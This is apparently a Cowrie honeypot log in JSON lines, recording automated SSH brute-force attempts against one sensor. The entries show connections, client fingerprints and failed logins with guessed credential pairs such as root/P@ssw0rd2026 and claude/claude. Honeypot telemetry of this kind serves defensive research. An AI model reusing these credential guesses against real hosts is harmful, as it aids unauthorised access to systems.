{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d4c9eab5f0","protocol":"ssh","message":"New connection: 176.65.132.129:46234 (159.203.135.109:22) [session: d4d4c9eab5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:47.096126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:47.100130Z","src_ip":"176.65.132.129","session":"d4d4c9eab5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:47.182514Z","src_ip":"176.65.132.129","session":"d4d4c9eab5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:47.427884Z","src_ip":"176.65.132.129","session":"d4d4c9eab5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:48.511561Z","src_ip":"176.65.132.129","session":"d4d4c9eab5f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6d4d3154ed","protocol":"ssh","message":"New connection: 172.237.20.62:38792 (159.203.135.109:22) [session: df6d4d3154ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:48.951081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:48.955963Z","src_ip":"172.237.20.62","session":"df6d4d3154ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:49.124174Z","src_ip":"172.237.20.62","session":"df6d4d3154ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:49.613344Z","src_ip":"172.237.20.62","session":"df6d4d3154ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38fdba65051","protocol":"ssh","message":"New connection: 176.65.132.129:46250 (159.203.135.109:22) [session: a38fdba65051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:50.648715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:50.668987Z","src_ip":"176.65.132.129","session":"a38fdba65051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:50.742267Z","src_ip":"176.65.132.129","session":"a38fdba65051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:50.779291Z","src_ip":"172.237.20.62","session":"df6d4d3154ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:51.060180Z","src_ip":"176.65.132.129","session":"a38fdba65051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:52.144883Z","src_ip":"176.65.132.129","session":"a38fdba65051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46256,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d2a26ffbaba","protocol":"ssh","message":"New connection: 176.65.132.129:46256 (159.203.135.109:22) [session: 8d2a26ffbaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:54.217453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:54.225812Z","src_ip":"176.65.132.129","session":"8d2a26ffbaba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:54.308612Z","src_ip":"176.65.132.129","session":"8d2a26ffbaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:54.556485Z","src_ip":"176.65.132.129","session":"8d2a26ffbaba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:55.641951Z","src_ip":"176.65.132.129","session":"8d2a26ffbaba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59554,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fa886c6370c","protocol":"ssh","message":"New connection: 176.65.132.129:59554 (159.203.135.109:22) [session: 8fa886c6370c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:57.670140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:57.675205Z","src_ip":"176.65.132.129","session":"8fa886c6370c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:57.757114Z","src_ip":"176.65.132.129","session":"8fa886c6370c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:58.177426Z","src_ip":"176.65.132.129","session":"8fa886c6370c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:59.261935Z","src_ip":"176.65.132.129","session":"8fa886c6370c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38850,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab30e2b99b6b","protocol":"ssh","message":"New connection: 172.237.20.62:38850 (159.203.135.109:22) [session: ab30e2b99b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:59.831579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:59.843794Z","src_ip":"172.237.20.62","session":"ab30e2b99b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:00.002704Z","src_ip":"172.237.20.62","session":"ab30e2b99b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:00.485556Z","src_ip":"172.237.20.62","session":"ab30e2b99b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59556,"dst_ip":"159.203.135.109","dst_port":22,"session":"eedcee713bfb","protocol":"ssh","message":"New connection: 176.65.132.129:59556 (159.203.135.109:22) [session: eedcee713bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:01.172242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:01.177552Z","src_ip":"176.65.132.129","session":"eedcee713bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:01.260561Z","src_ip":"176.65.132.129","session":"eedcee713bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:01.509356Z","src_ip":"176.65.132.129","session":"eedcee713bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:01.647053Z","src_ip":"172.237.20.62","session":"ab30e2b99b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:02.600950Z","src_ip":"176.65.132.129","session":"eedcee713bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59562,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f96dd035766","protocol":"ssh","message":"New connection: 176.65.132.129:59562 (159.203.135.109:22) [session: 7f96dd035766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:04.610187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:04.615807Z","src_ip":"176.65.132.129","session":"7f96dd035766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:04.700387Z","src_ip":"176.65.132.129","session":"7f96dd035766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:04.950163Z","src_ip":"176.65.132.129","session":"7f96dd035766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:06.038354Z","src_ip":"176.65.132.129","session":"7f96dd035766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.599181175231934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:06.685545Z","src_ip":"45.58.127.90","session":"53799f544af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.43515968322754,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:07.713652Z","src_ip":"45.58.127.90","session":"27aac96842b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7613ef07e2","protocol":"ssh","message":"New connection: 176.65.132.129:44528 (159.203.135.109:22) [session: 3d7613ef07e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:08.117695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:08.146814Z","src_ip":"176.65.132.129","session":"3d7613ef07e2","protocol":"ssh"}
